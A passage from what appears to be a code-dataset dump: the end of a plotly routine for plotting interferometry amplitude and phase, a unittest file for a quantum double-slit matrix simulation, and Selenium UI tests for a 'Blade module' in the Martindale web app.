for ant in ant_data])
ant_data = tab_data['ant2name'][spw_mask & corr_mask].tolist()
ant2_map_dict = {}
for n_uniq, ant in enumerate(np.unique(ant_data)):
ant2_map_dict[ant] = n_uniq
colors_dict['Ant2'].append([px.colors.qualitative.Safe[ant2_map_dict[ant] % 11]
for ant in ant_data])
# And corr
colors_dict['Corr'].append([px.colors.qualitative.Safe[nc % 11]
for _ in range(len(spw_data))])
spw_str = f"SPW {spw}"
if spw in spw_labels:
spw_str += f"<br>({spw_labels[spw]})"
fig.append_trace(scatter_plot(x=format_xvals(tab_data[exp_keys[key]['x']][spw_mask & corr_mask]),
y=tab_data[exp_keys[key]['y']][spw_mask & corr_mask],
mode='markers',
marker=dict(symbol=marker,
size=7,
color=px.colors.qualitative.Safe[nspw % 11]),
customdata=custom_data,
hovertemplate=hovertemplate,
name=spw_str,
legendgroup=str(spw),
showlegend=True if (nn == 0 and nc == 0) else False),
row=exp_keys[key]['row'], col=exp_keys[key]['col'],
)
# Make custom time ticks in a nicer format.
# Also scale with zoom to stop tick labels from overlapping in different subplots.
for key in exp_keys:
if "time" not in key:
continue
fig.update_xaxes(rangeslider_visible=False,
tickformatstops=[dict(dtickrange=[None, 1000], value="%H:%M:%S"),
dict(dtickrange=[1000, None], value="%H:%M:%S"),
],
row=exp_keys[key]['row'],
col=exp_keys[key]['col'])
fig.update_xaxes(nticks=8)
fig.update_yaxes(nticks=8)
fig['layout']['xaxis']['title'] = 'Frequency (GHz)'
fig['layout']['xaxis2']['title'] = 'Time (UTC)'
fig['layout']['xaxis3']['title'] = 'uv-distance (m)'
fig['layout']['xaxis4']['title'] = 'Phase (deg)'
fig['layout']['xaxis5']['title'] = 'Frequency (GHz)'
fig['layout']['xaxis6']['title'] = 'Time (UTC)'
fig['layout']['xaxis7']['title'] = 'uv-distance (m)'
fig['layout']['xaxis8']['title'] = 'uv-wave'
fig['layout']['xaxis9']['title'] = 'Antenna 1'
fig['layout']['xaxis10']['title'] = 'Antenna 1'
# Check these: is it actually Jy or Jy/deg, etc?
fig['layout']['yaxis']['title'] = 'Amplitude (Jy)'
fig['layout']['yaxis2']['title'] = 'Amplitude (Jy)'
fig['layout']['yaxis3']['title'] = 'Amplitude (Jy)'
fig['layout']['yaxis4']['title'] = 'Amplitude (Jy)'
fig['layout']['yaxis5']['title'] = 'Phase (deg)'
fig['layout']['yaxis6']['title'] = 'Phase (deg)'
fig['layout']['yaxis7']['title'] = 'Phase (deg)'
fig['layout']['yaxis8']['title'] = '(Amplitude - Model) Residual (Jy)'
fig['layout']['yaxis9']['title'] = 'Amplitude (Jy)'
fig['layout']['yaxis10']['title'] = 'Phase (deg)'
meta = meta_dict['amp_time']
if 'intent' not in meta_dict:
intent_str = "NONE"
else:
intent_str = meta_dict['intent']
fig.update_layout(
title=f"Field: {meta['field']} Intent: {intent_str}<br>MS: {meta['vis']}",
font=dict(
family="Courier New, monospace",
size=15,
color="#7f7f7f")
)
updatemenus = go.layout.Updatemenu(type='buttons',
direction='left',
showactive=True,
x=1.01,
xanchor="right",
y=1.15,
yanchor="top",
buttons=list([dict(label='SPW',
method='update',
args=[{'marker.color': [col for col in colors_dict['SPW']]}],
),
dict(label='Scan',
method='update',
args=[{'marker.color': [col for col in colors_dict['Scan']]}],
),
dict(label='Ant1',
method='update',
args=[{'marker.color': [col for col in colors_dict['Ant1']]}],
),
dict(label='Ant2',
method='update',
args=[{'marker.color': [col for col in colors_dict['Ant2']]}],
),
dict(label='Corr',
method='update',
args=[{'marker.color': [col for col in colors_dict['Corr']]}],
),
]))
fig.update_layout(updatemenus=[updatemenus],
margin=dict(t=150))
if show:
fig.show()
return fig
| 45.736641
| 225
| 0.440457
| 2,506
| 23,966
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| 226
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| 7,076
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py
|
Python
|
Test.py
|
gabriela-castro-s/Doble-rendija
|
28ecbe0d48f975e7d4ad71d2ed4441c4e4c6b5db
|
[
"Apache-2.0"
] | null | null | null |
Test.py
|
gabriela-castro-s/Doble-rendija
|
28ecbe0d48f975e7d4ad71d2ed4441c4e4c6b5db
|
[
"Apache-2.0"
] | null | null | null |
Test.py
|
gabriela-castro-s/Doble-rendija
|
28ecbe0d48f975e7d4ad71d2ed4441c4e4c6b5db
|
[
"Apache-2.0"
] | null | null | null |
import unittest
from classicalToQuantum import *
class classicalToQuantum(unittest.TestCase):
def testcanicasbooleanas(self):
booleanMatrix = [[False, False, False, False, False, False], [True, False, False, False, False, True],
[True, False, False, False, False, False], [False, False, True, False, False, False],
[False, False, False, True, False, False], [False, False, False, False, True, False]]
vectIni = [True, False, False, False, False, False]
self.assertEqual(canicasbooleanas(1, booleanMatrix[:], vectIni[:]),
[False, True, True, False, False, False])
self.assertEqual(canicasbooleanas(3, booleanMatrix[:], vectIni[:]),
[False, False, False, False, True, False])
self.assertEqual(canicasbooleanas(5, booleanMatrix[:], vectIni[:]),
[False, True, False, False, False, False])
def testmultiplerendijaclasico(self):
matrix = [[[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0.3333333333333333, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0.3333333333333333, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0.3333333333333333, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [0.5, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [0.5, 0], [0.5, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [0, 0], [0.5, 0], [0.5, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [0, 0], [0, 0], [0.5, 0], [0, 0], [0, 0], [0, 0], [0, 0]]]
vectIni = [[1, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]
self.assertEqual(sistemaprobabilistico(matrix[:], vectIni[:], 1), [(0, 0), (0.3333333333333333, 0.0),
(0.3333333333333333, 0.0),
(0.3333333333333333, 0.0),
(0.0, 0.0), (0.0, 0.0), (0.0, 0.0),
(0.0, 0.0)])
matrix = [[[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0.5, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0.5, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [0.3333333333333333, 0], [0, 0], [1, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [0.3333333333333333, 0], [0, 0], [0, 0], [1, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [0.3333333333333333, 0], [0.3333333333333333, 0], [0, 0], [0, 0], [1, 0], [0, 0], [0, 0]],
[[0, 0], [0, 0], [0.3333333333333333, 0], [0, 0], [0, 0], [0, 0], [1, 0], [0, 0]],
[[0, 0], [0, 0], [0.3333333333333333, 0], [0, 0], [0, 0], [0, 0], [0, 0], [1, 0]]]
vectIni = [[1, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]
self.assertEqual(sistemaprobabilistico(matrix[:], vectIni[:], 2),
[(0.0, 0.0), (0.0, 0.0), (0.0, 0.0), (0.16666666666666666, 0.0),
(0.16666666666666666, 0.0), (0.3333333333333333, 0.0),
(0.16666666666666666, 0.0), (0.16666666666666666, 0.0)])
def testmultiplerendijacuantico(self):
matrix = [[[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0.7071067811865475, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0.7071067811865475, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [-0.4082482904638631, 0.4082482904638631], [0, 0], [1, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [-0.4082482904638631, -0.4082482904638631], [0, 0], [0, 0], [1, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [0.4082482904638631, -0.4082482904638631], [-0.4082482904638631, 0.4082482904638631], [0, 0],
[0, 0], [1, 0], [0, 0], [0, 0]],
[[0, 0], [0, 0], [-0.4082482904638631, -0.4082482904638631], [0, 0], [0, 0], [0, 0], [1, 0], [0, 0]],
[[0, 0], [0, 0], [0.4082482904638631, -0.4082482904638631], [0, 0], [0, 0], [0, 0], [0, 0], [1, 0]]]
vectIni = [[1, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]
self.assertEqual(multiplerendijacuantico(matrix[:], vectIni[:], 1),
[[[0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0]],
[[0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0]],
[[0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0], [0.0, 0]],
[[0.1666666666666667, 0], [0.3333333333333334, 0], [0.0, 0], [1.0, 0], [0.0, 0], [0.0, 0],
[0.0, 0], [0.0, 0]],
[[0.1666666666666667, 0], [0.3333333333333334, 0], [0.0, 0], [0.0, 0], [1.0, 0], [0.0, 0],
[0.0, 0], [0.0, 0]],
[[0.0, 0], [0.3333333333333334, 0], [0.3333333333333334, 0], [0.0, 0], [0.0, 0], [1.0, 0],
[0.0, 0], [0.0, 0]],
[[0.1666666666666667, 0], [0.0, 0], [0.3333333333333334, 0], [0.0, 0], [0.0, 0], [0.0, 0],
[1.0, 0], [0.0, 0]],
[[0.1666666666666667, 0], [0.0, 0], [0.3333333333333334, 0], [0.0, 0], [0.0, 0], [0.0, 0],
[0.0, 0], [1.0, 0]]])
def testgrafico(self):
Matriz_Doble_Rendija = [
[[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[1 / math.sqrt(2), 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[1 / math.sqrt(2), 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [-1 / math.sqrt(6), 1 / math.sqrt(6)], [0, 0], [1, 0], [0, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [-1 / math.sqrt(6), -1 / math.sqrt(6)], [0, 0], [0, 0], [1, 0], [0, 0], [0, 0], [0, 0]],
[[0, 0], [1 / math.sqrt(6), -1 / math.sqrt(6)], [-1 / math.sqrt(6), 1 / math.sqrt(6)], [0, 0], [0, 0],
[1, 0], [0, 0], [0, 0]],
[[0, 0], [0, 0], [-1 / math.sqrt(6), -1 / math.sqrt(6)], [0, 0], [0, 0], [0, 0], [1, 0], [0, 0]],
[[0, 0], [0, 0], [1 / math.sqrt(6), -1 / math.sqrt(6)], [0, 0], [0, 0], [0, 0], [0, 0], [1, 0]]]
Estado_Inicial = [[1, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]
answ = accionmatrizvector(multiplerendijacuantico(Matriz_Doble_Rendija[:],
Estado_Inicial[:], 2), Estado_Inicial)
grafico(answ)
if __name__ == '__main__':
unittest.main()
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py
|
Python
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tests/test_blade_module.py
|
tate138/Martindale_Automation
|
082169df9f88ddc96fa81365f9c5e8aa460f7d14
|
[
"Apache-2.0"
] | null | null | null |
tests/test_blade_module.py
|
tate138/Martindale_Automation
|
082169df9f88ddc96fa81365f9c5e8aa460f7d14
|
[
"Apache-2.0"
] | null | null | null |
tests/test_blade_module.py
|
tate138/Martindale_Automation
|
082169df9f88ddc96fa81365f9c5e8aa460f7d14
|
[
"Apache-2.0"
] | null | null | null |
from library.page_models.martindale.martindale_module_setup import MartindaleModuleSetup
from library.page_models.martindale.martindale_login import MartindaleLogin
from library.page_models.martindale.martindale_navigation import MartindaleNavigation
from library.selenium_actions import *
from library.tools import Tools
from library.page_data.martindale_app.blade_module_data import BladeModuleData
from library.page_data.martindale_app.martindale_data import MartindalePageData
from tests.test_setup.common_setup import CommonSetup, TestRailStatus
import pytest
import sys
####
# Blade Module Test
####
'''
python -m pytest "Documents/IB/Martindale Automation/tests/test_blade_module.py" -s
'''
class TestBladeModule(CommonSetup):
####
# Suite Setup and Teardown
####
@pytest.fixture(autouse=True, scope='module')
def set_up_class(self):
'''
Will be run once first before any test
'''
web_driver = self.fetch_webdriver()
Tools.log("Executing Blade module tests...")
MartindaleNavigation.navigate_to_home_page(web_driver)
MartindaleLogin.login_to_app(web_driver)
CommonSetup.selected_module = "blade"
MartindaleModuleSetup.module_open(web_driver)
# will run at end of all tests
def teardown_class(self):
'''
Will be run once when all tests are complete
'''
Tools.log("Blade module test run complete.")
####
# Case Setup and Teardown
####
def case_setup(self):
'''
Methods that will be run to setup individual cases
called in test as
self.case_setup()
'''
def case_teardown(self):
'''
Methods that will be run to cleanup individual cases
called in test as
self.case_teardown()
'''
self.common_test_teardown()
####
# Test Case Setup and Teardown
####
def test_c18527973(self):
test_case_number = "18527973"
web_driver = self.fetch_webdriver()
try:
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
element_path = BladeModuleData.BLADE_TITLE
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
blade_text = SeleniumActions.read_web_element_text(web_element)
try:
assert(blade_text == "BLADE MODULE")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18527973 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18527974(self):
test_case_number = "18527974"
web_driver = self.fetch_webdriver()
try:
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
Tools.sleep(2)
element_path = BladeModuleData.BLADE_SETTINGS_ELEMENT_VISIBILITY
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
settings_element_visibility = SeleniumActions.read_web_element_text(web_element)
element_path = BladeModuleData.BLADE_SETTINGS_SETTINGS
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
settings_settings = SeleniumActions.read_web_element_text(web_element)
element_path = BladeModuleData.BLADE_SETTINGS_MODULE_VISIBILITY
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
settings_module_visibility = SeleniumActions.read_web_element_text(web_element)
try:
assert(settings_element_visibility == "ELEMENT VISIBILITY"
and settings_settings == "BLADE SETTINGS"
and settings_module_visibility == "MODULE VISIBILITY")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
test_case_number = "18527997"
try:
assert(settings_element_visibility == "ELEMENT VISIBILITY"
and settings_settings == "BLADE SETTINGS"
and settings_module_visibility == "MODULE VISIBILITY")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18527974 Not Tested")
print("C18527997 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18527975(self):
test_case_number = "18527975"
web_driver = self.fetch_webdriver()
try:
click_content_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_TAB)
SeleniumActions.click_element(web_driver, click_content_tab)
Tools.sleep(2)
write_new_title = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_TITLE)
SeleniumActions.clearTextField(web_driver, write_new_title)
SeleniumActions.write_to_element \
(web_driver, write_new_title, "Blade")
write_new_caption = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CAPTION)
SeleniumActions.clearTextField(web_driver, write_new_caption)
SeleniumActions.write_to_element \
(web_driver, write_new_caption, "Runner")
write_new_alt_text = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_ALT_TEXT)
SeleniumActions.clearTextField(web_driver, write_new_alt_text)
SeleniumActions.write_to_element \
(web_driver, write_new_alt_text, "alt")
write_new_image_title = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_IMAGE_TITLE)
SeleniumActions.clearTextField(web_driver, write_new_image_title)
SeleniumActions.write_to_element \
(web_driver, write_new_image_title, "image")
write_new_cta_one_link_text = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_LINK_TEXT)
SeleniumActions.clearTextField(web_driver, write_new_cta_one_link_text)
SeleniumActions.write_to_element \
(web_driver, write_new_cta_one_link_text, "CTA One")
write_new_cta_two_link_text = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_TWO_LINK_TEXT)
SeleniumActions.clearTextField(web_driver, write_new_cta_two_link_text)
SeleniumActions.write_to_element \
(web_driver, write_new_cta_two_link_text, "CTA Two")
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
element_path = BladeModuleData.BLADE_IFRAME_TITLE
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
blade_iframe_title = SeleniumActions.read_web_element_text(web_element)
element_path = BladeModuleData.BLADE_IFRAME_CAPTION
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
blade_iframe_caption = SeleniumActions.read_web_element_text(web_element)
try:
assert(blade_iframe_title == "Blade" and blade_iframe_caption == "Runner")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18527975 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18678388(self):
test_case_number = "18678388"
web_driver = self.fetch_webdriver()
try:
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
click_show_banner_title = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_BLADE_TITLE)
SeleniumActions.click_element(web_driver, click_show_banner_title)
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
try:
assert(SeleniumActions.check_element_exists(web_driver, "//*[@id=\"ple_column-0\"]/div[3]/div/div/div/div/div[1]/div[1]/h3"))
test_one = "Failed"
except:
test_one = "Passed"
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
click_show_banner_title = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_BLADE_TITLE)
SeleniumActions.click_element(web_driver, click_show_banner_title)
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
Tools.sleep(2)
web_element = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_IFRAME_TITLE)
try:
assert(SeleniumActions.element_is_visible(web_driver, web_element))
test_two = "Passed"
except:
test_two = "Failed"
if test_one == "Passed" and test_two == "Passed":
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
else:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18678388 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18678389(self):
test_case_number = "18678389"
web_driver = self.fetch_webdriver()
try:
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
click_show_banner_title = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_BLADE_TITLE)
SeleniumActions.click_element(web_driver, click_show_banner_title)
click_show_banner_caption = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_BLADE_CAPTION)
SeleniumActions.click_element(web_driver, click_show_banner_caption)
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
try:
assert(SeleniumActions.check_element_exists(web_driver, "//*[@id=\"ple_column-0\"]/div[3]/div/div/div/div/div[1]/div[1]/h4"))
test_one = "Failed"
except:
test_one = "Passed"
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
click_show_banner_title = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_BLADE_TITLE)
SeleniumActions.click_element(web_driver, click_show_banner_title)
click_show_banner_caption = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_BLADE_CAPTION)
SeleniumActions.click_element(web_driver, click_show_banner_caption)
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
Tools.sleep(2)
web_element = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_IFRAME_CAPTION)
try:
assert(SeleniumActions.element_is_visible(web_driver, web_element))
test_two = "Passed"
except:
test_two = "Failed"
if test_one == "Passed" and test_two == "Passed":
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
else:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18678389 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18678390(self):
test_case_number = "18678390"
web_driver = self.fetch_webdriver()
try:
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
click_show_banner_caption = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_BLADE_CAPTION)
SeleniumActions.click_element(web_driver, click_show_banner_caption)
click_show_read_more = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_READ_MORE)
SeleniumActions.click_element(web_driver, click_show_read_more)
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
if SeleniumActions.check_element_exists \
(web_driver, "//*[@id=\"ple_column-0\"]/div[3]/div/div/div/div/div[1]/div[2]/a"):
blade_title_existence = "true"
else:
blade_title_existence = "false"
try:
assert(blade_title_existence == "false")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18678390 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18678391(self):
test_case_number = "18678391"
web_driver = self.fetch_webdriver()
try:
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
click_show_read_more = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_READ_MORE)
SeleniumActions.click_element(web_driver, click_show_read_more)
click_show_cta_button_one = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_CTA_ONE)
SeleniumActions.click_element(web_driver, click_show_cta_button_one)
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
element_path = BladeModuleData.BLADE_IFRAME_CTA_BUTTON_TWO
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
read_cta_button = SeleniumActions.read_web_element_text(web_element)
try:
assert(read_cta_button == "CTA TWO")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18678391 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18678392(self):
test_case_number = "18678392"
web_driver = self.fetch_webdriver()
try:
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
click_show_cta_button_one = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_CTA_ONE)
SeleniumActions.click_element(web_driver, click_show_cta_button_one)
click_show_cta_button_two = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_CTA_TWO)
SeleniumActions.click_element(web_driver, click_show_cta_button_two)
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
element_path = BladeModuleData.BLADE_IFRAME_CTA_BUTTON_TWO
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
read_cta_button = SeleniumActions.read_web_element_text(web_element)
try:
assert(read_cta_button == "CTA ONE")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18678392 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18678385(self):
test_case_number = "18678385"
web_driver = self.fetch_webdriver()
try:
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
